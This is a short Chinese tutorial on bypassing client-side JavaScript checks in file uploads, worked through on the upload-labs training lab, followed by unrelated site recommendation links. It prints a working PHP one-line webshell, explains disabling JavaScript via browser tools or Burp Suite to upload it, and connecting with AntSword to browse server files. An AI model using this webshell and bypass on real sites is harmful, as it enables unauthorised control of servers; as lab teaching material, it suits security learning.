文件上传漏洞-绕过js验证

1.漏洞原理:

Web应用系统虽然对用户上传的文件进行了校验,但是校验是通过前端javascript代码完成的。由于恶意用户可以对前端javascript进行修改或者是通过抓包软件篡改上传的文件,就会导致基于js的校验很容易被绕过。

2.判断页面是否存在前端绕过js验证

打开开发者工具调试面板,选择网络,然后上传图片文件和非图片文件,然后对这两个文件的变化进行对比,如果网络中没有数据变化,说明存在js前端验证漏洞,如果有变化说明不存在。(有变化说明,前端没有做验证,是把文件传输到后台,在后台进行验证的,所以才会有网络请求。)

这里以upload-labs less1为例,随便上传一个php文件发现网络并没有波动,说明这个拦截是通过前端JavaScript代码完成的。通过图二可以看到,上传正常图片文件网络栏有数据传输,说明有数据向后台发送,说明页面存在js绕过漏洞。

3.创建一个1.php文件(一句话木马):

复制代码
<?php @eval($_REQUEST['666']); ?>

禁用JavaScript

(1)通过开发者工具禁用

(2)通过burpsuit禁用

通过抓包后点击option找到remove all JavaScript

带有木马的文件成功上传到服务器

4.接下来打开蚁剑连接木马

5.发现已经可以看到upload-labs下所有的文件

相关推荐
极地星光1 天前
源码依赖 vs 预编译二进制包:C/C++ 项目依赖管理决策指南
c语言·开发语言·c++
Oo9201 天前
做一个用户列表页面,把模块化与语义化搞懂
javascript·全栈
装不满的克莱因瓶1 天前
【项目亮点四】支付订单超时处理与状态补偿机制设计
java·开发语言·后端·rabbitmq·消息中间件
@Murphy1 天前
java 面试
java·开发语言·面试
lsx2024061 天前
Scala 字符串处理指南
开发语言
小许同学记录成长1 天前
Qt 自研测控软件-配置测试项
开发语言·qt
biter down1 天前
6:控件操作与鼠标模拟
开发语言·python
Darling噜啦啦1 天前
从零搭建一个全栈项目:前后端分离 + DOM 动态渲染实战
javascript·全栈
甜味弥漫1 天前
《闭包:一个函数偷偷带走了我家的糖》—— 零基础也能懂的JS闭包
前端·javascript
刚子编程1 天前
.NET 8 Web开发入门(六):Blazor 全栈开发——告别 JavaScript 焦虑
javascript·数据绑定·signalr·组件化开发·全栈开发·blazor server·c# 写前端